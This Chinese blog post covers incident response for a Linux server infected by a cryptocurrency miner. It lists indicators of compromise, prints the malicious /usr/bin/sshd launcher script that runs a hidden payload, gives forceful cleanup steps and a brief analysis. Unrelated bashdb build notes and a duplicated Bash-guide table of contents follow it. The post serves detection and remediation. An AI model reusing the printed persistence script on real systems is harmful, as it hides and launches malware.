root用户登录出现 -bash-4.2#

root用户登录出现 -bash-4.2#

在修复过.bashrc文件或者恢复过.bashrc后,仍然出现-bash-4.2#,那么有可能你的机器已经被入侵了,根据Google检索显示,这是一个门罗币的挖矿程序,不过也不用担心,附上我遇到的这种情况的处理措施,看看对你有没有帮助。
服务器入侵检查和处理

1、确认是否被入侵

出现以下现象或存在以下目录

  • root用户登录出现 -bash-4.2#

  • netstat 命令回显为空

  • 检查系统用户列表是否有 gh0stx, sclipicibosu, mexalzsherifu 三个或其中任意一个

  • 查看是否存在/var/tmp/.ladyg0g0/目录

  • 查看是否存在/var/tmp/.sl/目录

  • 检查/root/.ssh/authorized_keys是否存在异常

  • 查看是否存在/usr/.SQL-Unix/.SQL/.db 或者 /var/tmp/.SQL-Unix/.SQL/.db

  • 查看是否存在/usr/tmp/.ladyg0g0/.pr1nc35 或者 /var/tmp/.ladyg0g0/.pr1nc35

  • 查看是否存在/usr/bin/.pidsclip

  • 查看是否存在/usr/bin/.locationesclipiciu

  • 检查/usr/bin/sshd 内容是否是如下代码段

    #!/bin/bash
    locatieasdf=$(cat /usr/bin/.locationesclipiciu)
    if [ ! -d  ]; then
            mkdir
            rsync -r /usr/bin/.locationesclipiciu/ /
            sleep 1
            /.b4nd1d0 > /dev/null 2>&1 & disown
    else
            if [ ! -f  /.dorel ]; then
                    rsync -r /usr/bin/.locationesclipiciu/ /
                    sleep 1
                    /.b4nd1d0 > /dev/null 2>&1 & disown
    fi
    

2、威胁处理

删除恶意脚本

  1. 强制删除 /var/tmp/.sl/ 目录

  2. 强制删除 /var/tmp/.ladyg0g0/ 目录

  3. 强制删除 /usr/bin/.locationesclipiciu

  4. 强制删除 /usr/bin/.pidsclip

  5. 强制删除 /root/.b4nd1d0

  6. 强制删除 /root/.dorel

  7. 强制删除 /usr/.SQL-Unix/ 目录

  8. 强制删除 /usr/tmp 目录

  9. 强制删除 /usr/bin/sshd

  10. 恢复.bashrc文件 cp /etc/skel/.bash* /root/

  11. 修改.bashrc文件

    export PS1='[\u@\h \W]\$'
    
  12. 删除 gh0stx, sclipicibosu, mexalzsherifu 中存在的用户

    userdel –r sclipicibosu//删除不成功就使用chmod修改/etc/passwd和/etc/shadow权限,再使用vim删除该用户 
    
  13. reboot重启

  14. passwd root //修改密码为强口令

3、恶意脚本分析

  1. 往系统服务中注册了一个私有服务 /lib/systemd/system/myservice.service
  2. myservice私有服务中进行了一个文件同步操作 rsync -r /usr/bin/.locationesclipiciu/
  3. 同步了 /var/tmp/.sl/ 下的内容
  4. 重写 .bashrc,导致常用命令失效
  5. 后续可能进行的行为暂时不明
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
通过查看文档和自己的测试,bashdb-4.2.0-7 和centos7的bash-4.2.46版本匹配,并且编译顺利. 使用方法: 解压bashdb [root]#tar xf bashdb-4.2-0.7.tar.gz -C /usr/src 编译安装bashdb 编译安装bashdb有两种方法,区别可以看bashdb的帮助信息. 第一种编译方法: 不结合bash源代码编译和安装bashdb [root]#cd /usr/src [root]#cd bashdb-4.2.0-7 [root]#touch $HOME/missing [root]#touch libtoolT [root]#./configure --prefix=$HOME [root]#make [root]#make install 第二种编译方法: 结合bash源代码编译和安装bashdb 需要准备bash源代码 a).下载bash-4.2.46的src.rpm bash-4.2.46-20.el7_2.src.rpm http://vault.centos.org/7.3.1611/os/Source/SPackages/ b). 提取bash-4.2.46-20源代码 [root]#rpm -ivh bash-4.2.46-20.el7_2.src.rpm [root]#cd $HOME/rpmbuild/SPECS [root]#rpmbuild -bp bash.spec 此时,源代码已经安装到了$HOME/rpmbuild/BUILD目录 c).移动bash的源代码到/usr/src [root]#cd $HOME/rpmbuild/BUILD [root]#mv bash-4.2 bash-4.2.46-20 [root]#mv bash-4.2.46-20 /usr/src d). 准备bash的源码环境 [root]#cd /usr/src [root]#cd bash-4.2.46-20 [root]#./configure && make e). 结合bash编译安装bashdb [root]#cd /usr/src [root]#cd bashdb-4.2.0-7 [root]#touch $HOME/missing [root]#touch libtoolT [root]#./configure --prefix=$HOME --with-bash-src=/usr/src/bash-4.2.46-20 [root]#make [root]#make install 3. 配置bashdb [root]#vi ~/.bash_profile 在最后添加 MANPATH=$HOME/share/man:$MANPATH export MANPATH INFOPATH=$HOME/share/info export INFOPATH [root]#. ~/.bash_profile 设置inc文件路径.[重要.] [root]#mkdir /usr/share/bashdb/ [root]#ln -s ~/share/bashdb/bashdb-main.inc /usr/share/bashdb/ 4.使用bashdb [root]#bash --debugger yourscript.sh var1 var2
目录 ++++ 第一部分. 热身 1. 为什么使用shell 编程 2. 带着一个Sha-Bang 出发(Sha-Bang 指的是#!) 2.1. 调用一个脚本 2.2. 初步的练习 第二部分. 基本 3. 特殊字符 4. 变量和参数的介绍 4.1. 变量替换 4.2. 变量赋值 4.3. Bash 变量是不分类型的 4.4. 特殊的变量类型 5. 引用(翻译的可能有问题,特指引号) 5.1. 引用变量 5.2. 转义(\) 6. 退出和退出状态 7. Tests 7.1. Test 结构 7.2. 文件测试操作 7.3. 其他比较操作 7.4. 嵌套的if/then 条件test 7.5. 检查你的test 知识 8. 操作符和相关的主题 8.1. 操作符 8.2. 数字常量 第三部分. 超越基本 9. 变量重游 9.1. 内部变量 9.2. 操作字符串 9.3. 参数替换 9.4. 指定类型的变量:declare 或者typeset 9.5. 变量的间接引用 9.6. $RANDOM: 产生随机整数 9.7. 双圆括号结构 10. 循环和分支 10.1. 循环 10.2. 嵌套循环 10.3. 循环控制 10.4. 测试与分支(case 和select 结构) 11. 内部命令与内建 11.1. 作业控制命令 12. 外部过滤器,程序和命令 12.1. 基本命令 12.2. 复杂命令 12.3. 时间/日期 命令 12.4. 文本处理命令 12.5. 文件与归档命令 12.6. 通讯命令 12.7. 终端控制命令 12.8. 数学计算命令 12.9. 混杂命令 13. 系统与管理命令 13.1. 分析一个系统脚本 14. 命令替换 15. 算术扩展 16. I/O 重定向 16.1. 使用exec 16.2. 代码块的重定向 16.3. 应用 17. Here Documents 17.1. Here Strings 18. 休息时间 Part 4. 高级 19. 正则表达式 19.1. 一个简要的正则表达式介绍 19.2. 通配 20. 子shell(Subshells) 21. 受限shell(Restricted Shells) 22. 进程替换 23. 函数 23.1. 复杂函数和函数复杂性 23.2. 局部变量 23.3. 不使用局部变量的递归 24. 别名(Aliases) 25. 列表结构 26. 数组 27. /dev 和 /proc 27.1. /dev 27.2. /proc 28. 关于Zeros 和Nulls 29. 调试 30. 选项 31. Gotchas 32. 脚本编程风格 32.1. 非官方的Shell 脚本风格 33. 杂项 33.1. 交互式和非交互式的shells 和脚本 33.2. Shell 包装 33.3. 测试和比较: 另一种方法 33.4. 递归 33.5. 彩色脚本 33.6. 优化 33.7. 各种小技巧 33.8. 安全话题 33.8.1. 被感染的脚本 33.8.2. 隐藏Shell 脚本源码 33.9. 移植话题 33.10. 在Windows 下进行Shell 编程 34. Bash, 版本 2 和 3 34.1. Bash, 版本2 34.2. Bash, 版本3 35. 后记 35.1. 作者后记 35.2. 关于作者 35.3. 哪里可以取得帮助? 35.4. 制作这本书的工具 35.4.1. 硬件 35.4.2. 软件和排版软件 35.5. Credits Bibliography A. Contributed Scripts B. Reference Cards C. A Sed and Awk Micro-Primer C.1. Sed C.2. Awk D. Exit Codes With Special Meanings E. A Detailed Introduction to I/O and I/O Redirection F. Standard Command-Line Options G. Important Files H. Important System Directories I. Localization J. History Commands K. A Sample .bashrc File L. Converting DOS Batch Files to Shell Scripts M. Exercises M.1. Analyzing Scripts M.2. Writing Scripts N. Revision History O. Mirror Sites P. To Do List Q. Copyright 表格清单: 11-1. 作业标识符 30-1. Bash 选项 33-1. 转义序列中数值和彩色的对应 B-1. Special Shell Variables B-2. TEST Operators: Binary Comparison B-3. TEST Operators: Files B-4. Parameter Substitution and Expansion B-5. String Operations B-6. Miscellaneous Constructs C-1. Basic sed operators C-2. Examples of sed operators D-1. "Reserved" Exit Codes L-1. Batch file keywords / variables / operators, and their shell equivalents L-2. DOS commands and their UNIX equivalents N-1. Revision History 例子清单: 2-1. 清除:清除/var/log 下的log 文件 2-2. 清除:一个改良的清除脚本 2-3. cleanup:一个增强的和广义的删除logfile 的脚本 3-1. 代码块和I/O 重定向 3-2. 将一个代码块的结果保存到文件 3-3. 在后台运行一个循环 3-4. 备份最后一天所有修改的文件. 4-1. 变量赋值和替换 4-2. 一般的变量赋值 4-3. 变量赋值,一般的和比较特殊的 4-4. 整型还是string? 4-5. 位置参数 4-6. wh,whois 节点名字查询 4-7. 使用shift 5-1. echo 一些诡异的变量 5-2. 转义符 6-1. exit/exit 状态 6-2. 否定一个条件使用! 7-1. 什么情况下为真? 7-2. 几个等效命令test,/usr/bin/test,[],和/usr/bin/[ 7-3. 算数测试使用(( )) 7-4. test 死的链接文件 7-5. 数字和字符串比较 7-6. 测试字符串是否为null 7-7. zmore 8-1. 最大公约数 8-2. 使用算术操作符 8-3. 使用&&和||进行混合状态的test 8-4. 数字常量的处理 9-1. $IFS 和空白 9-2. 时间输入 9-3. 再来一个时间输入 9-4. Timed read 9-5. 我是root? 9-6. arglist:通过$*和$@列出所有的参数 9-7. 不一致的$*和$@行为 9-8. 当$IFS 为空时的$*和$@ 9-9. 下划线变量 9-10. 在一个文本文件的段间插入空行 9-11. 利用修改文件名,来转换图片格式 9-12. 模仿getopt 命令 9-13. 提取字符串的一种可选的方法 9-14. 使用参数替换和error messages 9-15. 参数替换和"usage"messages 9-16. 变量长度 9-17. 参数替换中的模式匹配 9-18. 重命名文件扩展名 9-19. 使用模式匹配来分析比较特殊的字符串 9-20. 对字符串的前缀或后缀使用匹配模式 9-21. 使用declare 来指定变量的类型 9-22. 间接引用 9-23. 传递一个间接引用给awk 9-24. 产生随机数 9-25. 从一副扑克牌中取出一张随机的牌 9-26. 两个指定值之间的随机数 9-27. 使用随机数来摇一个骰子 9-28. 重新分配随机数种子 9-29. 使用awk 产生伪随机数 9-30. C 风格的变量处理 10-1. 循环的一个简单例子 10-2. 每个[list]元素带两个参数的for 循环 10-3. 文件信息:对包含在变量中的文件列表进行操作 10-4. 在for 循环中操作文件 10-5. 在for 循环中省略[list] 10-6. 使用命令替换来产生for 循环的[list] 10-7. 对于二进制文件的一个grep 替换 10-8. 列出系统上的所有用户 10-9. 在目录的所有文件中查找源字串 10-10. 列出目录中所有的符号连接文件 10-11. 将目录中的符号连接文件名保存到一个文件中 10-12. 一个C 风格的for 循环 10-13. 在batch mode 中使用efax 10-14. 简单的while 循环 10-15. 另一个while 循环 10-16. 多条件的while 循环 10-17. C 风格的while 循环 10-18. until 循环 10-19. 嵌套循环 10-20. break 和continue 命令在循环中的效果 10-21. 多层循环的退出 10-22. 多层循环的continue 10-23. 在实际的任务中使用"continue N" 10-24. 使用case 10-25. 使用case 来创建菜单 10-26. 使用命令替换来产生case 变量 10-27. 简单字符串匹配 10-28. 检查是否是字母输入 10-29. 用select 来创建菜单 10-30. 用函数中select 结构来创建菜单 11-1. 一个fork 出多个自己实例的脚本 11-2. printf 11-3. 使用read,变量分配 11-4. 当使用一个不带变量参数的read 命令时,将会发生什么? 11-5. read 命令的多行输入 11-6. 检测方向键 11-7. 通过文件重定向来使用read 11-8. 管道输出到read 中的问题 11-9. 修改当前的工作目录 11-10. 用"let"命令来作算术操作. 11-11. 显示eval 命令的效果 11-12. 强制登出(log-off) 11-13. 另一个"rot13"的版本 11-14. 在Perl 脚本中使用eval 命令来强制变量替换 11-15. 使用set 来改变脚本的位置参数 11-16. 重新分配位置参数 11-17. Unset 一个变量 11-18. 使用export 命令传递一个变量到一个内嵌awk 的脚本中 11-19. 使用getopts 命令来读取传递给脚本的选项/参数. 11-20. "Including"一个数据文件 11-21. 一个没什么用的,source 自身的脚本 11-22. exec 的效果 11-23. 一个exec 自身的脚本 11-24. 在继续处理之前,等待一个进程的结束 11-25. 一个结束自身的脚本. 12-1. 使用ls 命令来创建一个烧录CDR 的内容列表 12-2. Hello or Good-bye 12-3. 删除当前目录下文件名中包含一些特殊字符(包括空白)的文件.. 12-4. 通过文件的 inode 号来删除文件 12-5. Logfile: 使用 xargs 来监控系统 log 12-6. 把当前目录下的文件拷贝到另一个文件中 12-7. 通过名字Kill 进程 12-8. 使用xargs 分析单词出现的频率 12-9. 使用 expr 12-10. 使用 date 命令 12-11. 分析单词出现的频率 12-12. 那个文件是脚本? 12-13. 产生10 进制随机数 12-14. 使用 tail 命令来监控系统log 12-15. 在一个脚本中模仿 "grep" 的行为 12-16. 在1913 年的韦氏词典中查找定义 12-17. 检查列表中单词的正确性 12-18. 转换大写: 把一个文件的内容全部转换为大写. 12-19. 转换小写: 将当前目录下的所有文全部转换为小写. 12-20. Du: DOS 到 UNIX 文本文件的转换. 12-21. rot13: rot13, 弱智加密. 12-22. Generating "Crypto-Quote" Puzzles 12-23. 格式化文件列表. 12-24. 使用 column 来格式化目录列表 12-25. nl: 一个自己计算行号的脚本. 12-26. manview: 查看格式化的man 页 12-27. 使用 cpio 来拷贝一个目录树 12-28. 解包一个 rpm 归档文件 12-29. 从 C 文件中去掉注释 12-30. Exploring /usr/X11R6/bin 12-31. 一个"改进过"的 strings 命令 12-32. 在一个脚本中使用 cmp 来比较2 个文件. 12-33. basename 和 dirname 12-34. 检查文件完整性 12-35. Uudecod 编码后的文件 12-36. 查找滥用的连接来报告垃圾邮件发送者 12-37. 分析一个垃圾邮件域 12-38. 获得一份股票报价 12-39. 更新 Fedora Core 4 12-40. 使用 ssh 12-41. 一个可以mail 自己的脚本 12-42. 按月偿还贷款 12-43. 数制转换 12-44. 使用 "here document" 来调用 bc 12-45. 计算圆周率 12-46. 将10 进制数字转换为16 进制数字 12-47. 因子分解 12-48. 计算直角三角形的斜边 12-49. 使用 seq 来产生循环参数 12-50. 字母统计 12-51. 使用getopt 来分析命令行选项 12-52. 一个拷贝自身的脚本 12-53. 练习dd 12-54. 记录按键 12-55. 安全的删除一个文件 12-56. 文件名产生器 12-57. 将米转换为英里 12-58. 使用 m4 13-1. 设置一个新密码 13-2. 设置一个擦除字符 13-3. 关掉终端对于密码的echo 13-4. 按键检测 13-5. Checking a remote server for identd 13-6. pidof 帮助杀掉一个进程 13-7. 检查一个CD 镜像 13-8. 在一个文件中创建文件系统 13-9. 添加一个新的硬盘驱动器 13-10. 使用umask 来将输出文件隐藏起来 13-11. killall, 来自于 /etc/rc.d/init.d 14-1. 愚蠢的脚本策略 14-2. 从循环的输出中产生一个变量 14-3. 找anagram(回文构词法, 可以将一个有意义的单词, 变换为1 个或多个有意义的单词, 但 是还是原来的子母集合) 16-1. 使用exec 重定向标准输入 16-2. 使用exec 来重定向stdout 16-3. 使用exec 在同一脚本中重定向stdin 和stdout 16-4. 避免子shell 16-5. while 循环的重定向 16-6. 另一种while 循环的重定向 16-7. until 循环重定向 16-8. for 循环重定向 16-9. for 循环重定向 loop (将标准输入和标准输出都重定向了) 16-10. 重定向if/then 测试结构 16-11. 用于上面例子的"names.data"数据文件 16-12. 记录日志事件 17-1. 广播: 发送消息给每个登录上的用户 17-2. 仿造文件: 创建一个两行的仿造文件 17-3. 使用cat 的多行消息 17-4. 带有抑制tab 功能的多行消息 17-5. 使用参数替换的here document 17-6. 上传一个文件对到"Sunsite"的incoming 目录 17-7. 关闭参数替换 17-8. 一个产生另外一个脚本的脚本 17-9. Here documents 与函数 17-10. "匿名" here Document 17-11. 注释掉一段代码块 17-12. 一个自文档化(self-documenting)的脚本 17-13. 在一个文件的开头添加文本 20-1. 子shell 中的变量作用域 20-2. 列出用户的配置文件 20-3. 在子shell 里进行串行处理 21-1. 在受限的情况下运行脚本 23-1. 简单函数 23-2. 带着参数的函数 23-3. 函数和被传给脚本的命令行参数 23-4. 传递间接引用给函数 23-5. 解除传递给函数的参数引用 23-6. 再次尝试解除传递给函数的参数引用 23-7. 两个数中的最大者 23-8. 把数字转化成罗马数字 23-9. 测试函数最大的返回值 23-10. 比较两个大整数 23-11. 用户名的真实名 23-12. 局部变量的可见范围 23-13. 用局部变量来递归 23-14. 汉诺塔 24-1. 脚本中的别名 24-2. unalias: 设置和删除别名 25-1. 使用"与列表(and list)"来测试命令行参数 25-2. 用"与列表"的另一个命令行参数测试 25-3. "或列表"和"与列表"的结合使用 26-1. 简单的数组用法 26-2. 格式化一首诗 26-3. 多种数组操作 26-4. 用于数组的字符串操作符 26-5. 将脚本的内容传给数组 26-6. 一些数组专用的工具 26-7. 关于空数组和空数组元素 26-8. 初始化数组 26-9. 复制和连接数组 26-10. 关于连接数组的更多信息 26-11. 一位老朋友: 冒泡排序 26-12. 内嵌数组和间接引用 26-13. 复杂数组应用: 埃拉托色尼素数筛子 26-14. 模拟下推的堆栈 26-15. 复杂的数组应用: 列出一种怪异的数学序列 26-16. 模拟二维数组,并使它倾斜 27-1. 利用/dev/tcp 来检修故障 27-2. 搜索与一个PID 相关的进程 27-3. 网络连接状态 28-1. 隐藏cookie 而不再使用 28-2. 用/dev/zero 创建一个交换临时文件 28-3. 创建ramdisk 29-1. 一个错误的脚本 29-2. 丢失关键字(keyword) 29-3. 另一个错误脚本 29-4. 用"assert"测试条件 29-5. 捕捉 exit 29-6. 在Control-C 后清除垃圾 29-7. 跟踪变量 29-8. 运行多进程 (在多处理器的机器里) 31-1. 数字和字符串比较是不相等同的 31-2. 子SHELL 缺陷 31-3. 把echo 的输出用管道输送给read 命令 33-1. shell 包装 33-2. 稍微复杂一些的shell 包装 33-3. 写到日志文件的shell 包装 33-4. 包装awk 的脚本 33-5. 另一个包装awk 的脚本 33-6. 把Perl 嵌入Bash 脚本 33-7. Bash 和 Perl 脚本联合使用 33-8. 递归调用自己本身的(无用)脚本 33-9. 递归调用自己本身的(有用)脚本 33-10. 另一个递归调用自己本身的(有用)脚本 33-11. 一个 "彩色的" 地址资料库 33-12. 画盒子 33-13. 显示彩色文本 33-14. "赛马" 游戏 33-15. 返回值技巧 33-16. 整型还是string? 33-17. 传递和返回数组 33-18. anagrams 游戏 33-19. 在shell 脚本中调用的窗口部件 34-1. 字符串扩展 34-2. 间接变量引用 - 新方法 34-3. 使用间接变量引用的简单数据库应用 34-4. 用数组和其他的小技巧来处理四人随机打牌 A-1. mailformat: Formatting an e-mail message A-2. rn: A simple-minded file rename utility A-3. blank-rename: renames filenames containing blanks A-4. encryptedpw: Uploading to an ftp site, using a locally encrypted password A-5. copy-cd: Copying a data CD A-6. Collatz series A-7. days-between: Calculate number of days between two dates A-8. Make a "dictionary" A-9. Soundex conversion A-10. "Game of Life" A-11. Data file for "Game of Life" A-12. behead: Removing mail and news message headers A-13. ftpget: Downloading files via ftp A-14. password: Generating random 8-character passwords A-15. fifo: Making daily backups, using named pipes A-16. Generating prime numbers using the modulo operator A-17. tree: Displaying a directory tree A-18. string functions: C-like string functions A-19. Directory information A-20. Object-oriented database A-21. Library of hash functions A-22. Colorizing text using hash functions A-23. Mounting USB keychain storage devices A-24. Preserving weblogs A-25. Protecting literal strings A-26. Unprotecting literal strings A-27. Spammer Identification A-28. Spammer Hunt A-29. Making wget easier to use A-30. A "podcasting" script A-31. Basics Reviewed A-32. An expanded cd command C-1. Counting Letter Occurrences K-1. Sample .bashrc file L-1. VIEWDATA.BAT: DOS Batch File L-2. viewdata.sh: Shell Script Conversion of VIEWDATA.BAT P-1. Print the server environment
高级bash编程 高级Bash脚本编程指南(一) 目录 ++++ 第一部分. 热身 1. 为什么使用shell编程 2. 带着一个Sha-Bang出发(Sha-Bang指的是#!) 2.1. 调用一个脚本 2.2. 初步的练习 第二部分. 基本 3. 特殊字符 4. 变量和参数的介绍 4.1. 变量替换 4.2. 变量赋值 4.3. Bash变量是不分类型的 4.4. 特殊的变量类型 5. 引用(翻译的可能有问题,特指引号) 5.1. 引用变量 5.2. 转义(\) 6. 退出和退出状态 7. Tests 7.1. Test结构 7.2. 文件测试操作 7.3. 其他比较操作 7.4. 嵌套的if/then条件test 7.5. 检查你的test知识 8. 操作符和相关的主题 8.1. 操作符 8.2. 数字常量 第三部分. 超越基本 9. 变量重游 9.1. 内部变量 9.2. 操作字符串 9.3. 参数替换 9.4. 指定类型的变量:declare或者typeset 9.5. 变量的间接引用 9.6. $RANDOM: 产生随机整数 9.7. 双圆括号结构 10. 循环和分支 10.1. 循环 10.2. 嵌套循环 10.3. 循环控制 10.4. 测试与分支(case和select结构) 11. 内部命令与内建 11.1. 作业控制命令 12. 外部过滤器,程序和命令 12.1. 基本命令 12.2. 复杂命令 12.3. 时间/日期 命令 12.4. 文本处理命令 12.5. 文件与归档命令 12.6. 通讯命令 12.7. 终端控制命令 12.8. 数学计算命令 12.9. 混杂命令 13. 系统与管理命令 13.1. 分析一个系统脚本 14. 命令替换 15. 算术扩展 16. I/O 重定向 16.1. 使用exec 16.2. 代码块的重定向 16.3. 应用 17. Here Documents 17.1. Here Strings 18. 休息时间 Part 4. 高级 19. 正则表达式 19.1. 一个简要的正则表达式介绍 19.2. 通配 20. 子shell(Subshells) 21. 受限shell(Restricted Shells) 22. 进程替换 23. 函数 23.1. 复杂函数和函数复杂性 23.2. 局部变量 23.3. 不使用局部变量的递归 24. 别名(Aliases) 25. 列表结构 26. 数组 27. /dev 和 /proc 27.1. /dev 27.2. /proc 28. 关于Zeros和Nulls 29. 调试 30. 选项 31. Gotchas 32. 脚本编程风格 32.1. 非官方的Shell脚本风格 33. 杂项 33.1. 交互式和非交互式的shells和脚本 33.2. Shell 包装 33.3. 测试和比较: 另一种方法 33.4. 递归 33.5. 彩色脚本 33.6. 优化 33.7. 各种小技巧 33.8. 安全话题 33.8.1. 被感染的脚本 33.8.2. 隐藏Shell脚本源码 33.9. 移植话题 33.10. 在Windows下进行Shell编程 34. Bash, 版本 2 和 3 34.1. Bash, 版本2 34.2. Bash, 版本3 35. 后记 35.1. 作者后记 35.2. 关于作者 35.3. 哪里可以取得帮助? 35.4. 制作这本书的工具 35.4.1. 硬件 35.4.2. 软件和排版软件 35.5. Credits Bibliography A. Contributed Scripts B. Reference Cards C. A Sed and Awk Micro-Primer C.1. Sed C.2. Awk D. Exit Codes With Special Meanings E. A Detailed Introduction to I/O and I/O Redirection F. Standard Command-Line Options G. Important Files H. Important System Directories I. Localization J. History Commands K. A Sample .bashrc File L. Converting DOS Batch Files to Shell Scripts M. Exercises M.1. Analyzing Scripts M.2. Writing Scripts N. Revision History O. Mirror Sites P. To Do List Q. Copyright 表格清单: 11-1. 作业标识符 30-1. Bash 选项 33-1. 转义序列中数值和彩色的对应 B-1. Special Shell Variables B-2. TEST Operators: Binary Comparison B-3. TEST Operators: Files B-4. Parameter Substitution and Expansion B-5. String Operations B-6. Miscellaneous Constructs C-1. Basic sed operators C-2. Examples of sed operators D-1. "Reserved" Exit Codes L-1. Batch file keywords / variables / operators, and their shell equivalents L-2. DOS commands and their UNIX equivalents N-1. Revision History 例子清单: 2-1. 清除:清除/var/log下的log文件 2-2. 清除:一个改良的清除脚本 2-3. cleanup:一个增强的和广义的删除logfile的脚本 3-1. 代码块和I/O重定向 3-2. 将一个代码块的结果保存到文件 3-3. 在后台运行一个循环 3-4. 备份最后一天所有修改的文件. 4-1. 变量赋值和替换 4-2. 一般的变量赋值 4-3. 变量赋值,一般的和比较特殊的 4-4. 整型还是string? 4-5. 位置参数 4-6. wh,whois节点名字查询 4-7. 使用shift 5-1. echo一些诡异的变量 5-2. 转义符 6-1. exit/exit状态 6-2. 否定一个条件使用! 7-1. 什么情况下为真? 7-2. 几个等效命令test,/usr/bin/test,[],和/usr/bin/[ 7-3. 算数测试使用(( )) 7-4. test死的链接文件 7-5. 数字和字符串比较 7-6. 测试字符串是否为null 7-7. zmore 8-1. 最大公约数 8-2. 使用算术操作符 8-3. 使用&&和||进行混合状态的test 8-4. 数字常量的处理 9-1. $IFS和空白 9-2. 时间输入 9-3. 再来一个时间输入 9-4. Timed read 9-5. 我是root? 9-6. arglist:通过$*和$@列出所有的参数 9-7. 不一致的$*和$@行为 9-8. 当$IFS为空时的$*和$@ 9-9. 下划线变量 9-10. 在一个文本文件的段间插入空行 9-11. 利用修改文件名,来转换图片格式 9-12. 模仿getopt命令 9-13. 提取字符串的一种可选的方法 9-14. 使用参数替换和error messages 9-15. 参数替换和"usage"messages 9-16. 变量长度 9-17. 参数替换中的模式匹配 9-18. 重命名文件扩展名 9-19. 使用模式匹配来分析比较特殊的字符串 9-20. 对字符串的前缀或后缀使用匹配模式 9-21. 使用declare来指定变量的类型 9-22. 间接引用 9-23. 传递一个间接引用给awk 9-24. 产生随机数 9-25. 从一副扑克牌中取出一张随机的牌 9-26. 两个指定值之间的随机数 9-27. 使用随机数来摇一个骰子 9-28. 重新分配随机数种子 9-29. 使用awk产生伪随机数 9-30. C风格的变量处理 10-1. 循环的一个简单例子 10-2. 每个[list]元素带两个参数的for循环 10-3. 文件信息:对包含在变量中的文件列表进行操作 10-4. 在for循环中操作文件 10-5. 在for循环中省略[list] 10-6. 使用命令替换来产生for循环的[list] 10-7. 对于二进制文件的一个grep替换 10-8. 列出系统上的所有用户 10-9. 在目录的所有文件中查找源字串 10-10. 列出目录中所有的符号连接文件 10-11. 将目录中的符号连接文件名保存到一个文件中 10-12. 一个C风格的for循环 10-13. 在batch mode中使用efax 10-14. 简单的while循环 10-15. 另一个while循环 10-16. 多条件的while循环 10-17. C风格的while循环 10-18. until循环 10-19. 嵌套循环 10-20. break和continue命令在循环中的效果 10-21. 多层循环的退出 10-22. 多层循环的continue 10-23. 在实际的任务中使用"continue N" 10-24. 使用case 10-25. 使用case来创建菜单 10-26. 使用命令替换来产生case变量 10-27. 简单字符串匹配 10-28. 检查是否是字母输入 10-29. 用select来创建菜单 10-30. 用函数中select结构来创建菜单 11-1. 一个fork出多个自己实例的脚本 11-2. printf 11-3. 使用read,变量分配 11-4. 当使用一个不带变量参数的read命令时,将会发生什么? 11-5. read命令的多行输入 11-6. 检测方向键 11-7. 通过文件重定向来使用read 11-8. 管道输出到read中的问题 11-9. 修改当前的工作目录 11-10. 用"let"命令来作算术操作. 11-11. 显示eval命令的效果 11-12. 强制登出(log-off) 11-13. 另一个"rot13"的版本 11-14. 在Perl脚本中使用eval命令来强制变量替换 11-15. 使用set来改变脚本的位置参数 11-16. 重新分配位置参数 11-17. Unset一个变量 11-18. 使用export命令传递一个变量到一个内嵌awk的脚本中 11-19. 使用getopts命令来读取传递给脚本的选项/参数. 11-20. "Including"一个数据文件 11-21. 一个没什么用的,source自身的脚本 11-22. exec的效果 11-23. 一个exec自身的脚本 11-24. 在继续处理之前,等待一个进程的结束 11-25. 一个结束自身的脚本. 12-1. 使用ls命令来创建一个烧录CDR的内容列表 12-2. Hello or Good-bye 12-3. 删除当前目录下文件名中包含一些特殊字符(包括空白)的文件.. 12-4. 通过文件的 inode 号来删除文件 12-5. Logfile: 使用 xargs 来监控系统 log 12-6. 把当前目录下的文件拷贝到另一个文件中 12-7. 通过名字Kill进程 12-8. 使用xargs分析单词出现的频率 12-9. 使用 expr 12-10. 使用 date 命令 12-11. 分析单词出现的频率 12-12. 那个文件是脚本? 12-13. 产生10进制随机数 12-14. 使用 tail 命令来监控系统log 12-15. 在一个脚本中模仿 "grep" 的行为 12-16. 在1913年的韦氏词典中查找定义 12-17. 检查列表中单词的正确性 12-18. 转换大写: 把一个文件的内容全部转换为大写. 12-19. 转换小写: 将当前目录下的所有文全部转换为小写. 12-20. Du: DOS 到 UNIX 文本文件的转换. 12-21. rot13: rot13, 弱智加密. 12-22. Generating "Crypto-Quote" Puzzles 12-23. 格式化文件列表. 12-24. 使用 column 来格式化目录列表 12-25. nl: 一个自己计算行号的脚本. 12-26. manview: 查看格式化的man页 12-27. 使用 cpio 来拷贝一个目录树 12-28. 解包一个 rpm 归档文件 12-29. 从 C 文件中去掉注释 12-30. Exploring /usr/X11R6/bin 12-31. 一个"改进过"的 strings 命令 12-32. 在一个脚本中使用 cmp 来比较2个文件. 12-33. basename 和 dirname 12-34. 检查文件完整性 12-35. Uudecod 编码后的文件 12-36. 查找滥用的连接来报告垃圾邮件发送者 12-37. 分析一个垃圾邮件域 12-38. 获得一份股票报价 12-39. 更新 Fedora Core 4 12-40. 使用 ssh 12-41. 一个可以mail自己的脚本 12-42. 按月偿还贷款 12-43. 数制转换 12-44. 使用 "here document" 来调用 bc 12-45. 计算圆周率 12-46. 将10进制数字转换为16进制数字 12-47. 因子分解 12-48. 计算直角三角形的斜边 12-49. 使用 seq 来产生循环参数 12-50. 字母统计 12-51. 使用getopt来分析命令行选项 12-52. 一个拷贝自身的脚本 12-53. 练习dd 12-54. 记录按键 12-55. 安全的删除一个文件 12-56. 文件名产生器 12-57. 将米转换为英里 12-58. 使用 m4 13-1. 设置一个新密码 13-2. 设置一个擦除字符 13-3. 关掉终端对于密码的echo 13-4. 按键检测 13-5. Checking a remote server for identd 13-6. pidof 帮助杀掉一个进程 13-7. 检查一个CD镜像 13-8. 在一个文件中创建文件系统 13-9. 添加一个新的硬盘驱动器 13-10. 使用umask来将输出文件隐藏起来 13-11. killall, 来自于 /etc/rc.d/init.d 14-1. 愚蠢的脚本策略 14-2. 从循环的输出中产生一个变量 14-3. 找anagram(回文构词法, 可以将一个有意义的单词, 变换为1个或多个有意义的单词, 但是还是原来的子母集合) 16-1. 使用exec重定向标准输入 16-2. 使用exec来重定向stdout 16-3. 使用exec在同一脚本中重定向stdin和stdout 16-4. 避免子shell 16-5. while循环的重定向 16-6. 另一种while循环的重定向 16-7. until循环重定向 16-8. for循环重定向 16-9. for循环重定向 loop (将标准输入和标准输出都重定向了) 16-10. 重定向if/then测试结构 16-11. 用于上面例子的"names.data"数据文件 16-12. 记录日志事件 17-1. 广播: 发送消息给每个登录上的用户 17-2. 仿造文件: 创建一个两行的仿造文件 17-3. 使用cat的多行消息 17-4. 